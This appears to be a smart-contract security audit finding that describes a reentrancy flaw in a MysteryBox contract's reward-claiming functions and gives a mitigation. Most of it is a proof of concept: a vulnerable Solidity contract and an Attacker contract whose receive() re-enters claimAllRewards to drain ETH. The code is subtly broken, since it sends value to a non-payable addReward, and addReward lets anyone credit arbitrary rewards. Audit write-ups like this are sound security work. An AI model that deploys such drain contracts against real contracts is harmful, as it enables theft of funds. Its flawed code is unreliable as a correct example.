Summary
The functions MysteryBox::claimAllRewards() and MysteryBox::claimSingleReward() are vulnerable to a reentrancy attack due to the external call to transfer ETH before updating the contract's state. This allows an attacker to repeatedly call these functions and drain the contract’s funds.
Vulnerability Details
Affected Code
(bool success,) = payable(msg.sender).call{value: totalValue}("");
(bool success,) = payable(msg.sender).call{value: value}("");
Impact
A malicious actor can drain all funds from the contract by recursively calling MysteryBox::claimAllRewards() or MysteryBox::claimSingleReward() before the contract’s state is updated.
Tools Used
Visual Studio Code
Solidity
Foundry
Recommended Mitigation
Adopt the Checks-Effects-Interactions pattern to update the state before making any external call.
delete rewardsOwned[msg.sender];
(bool success,) = payable(msg.sender).call{value: totalValue}("");
Proof of Concept
Step 1: Deploy the MysteryBox Contract
Deploy the following vulnerable contract:
pragma solidity ^0.8.0;
contract MysteryBox {
address public owner;
mapping(address => Reward[]) public rewardsOwned;
struct Reward {
string name;
uint256 value;
}
constructor() payable {
owner = msg.sender;
}
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
delete rewardsOwned[msg.sender];
}
function addReward(string memory _name, uint256 _value) public {
rewardsOwned[msg.sender].push(Reward(_name, _value));
}
receive() external payable {}
}
Step 2: Deploy the Attacker Contract
Deploy a malicious contract to exploit the vulnerability:
pragma solidity ^0.8.0;
import "./MysteryBox.sol";
contract Attacker {
MysteryBox public mysteryBox;
address public owner;
constructor(address _mysteryBox) {
mysteryBox = MysteryBox(_mysteryBox);
owner = msg.sender;
}
function attack() external payable {
require(msg.sender == owner, "Only owner can attack");
mysteryBox.addReward{value: msg.value}("Fake Reward", msg.value);
mysteryBox.claimAllRewards();
}
receive() external payable {
if (address(mysteryBox).balance > 0) {
mysteryBox.claimAllRewards();
}
}
function withdraw() public {
require(msg.sender == owner, "Only owner can withdraw");
payable(owner).transfer(address(this).balance);
}
}
Step 3: Exploit
Deploy the MysteryBox contract.
Deploy the Attacker contract, passing the MysteryBox address.
Execute attack() on the Attacker contract with some ETH (e.g., 0.1 ETH). The attack will recursively drain all funds from the MysteryBox.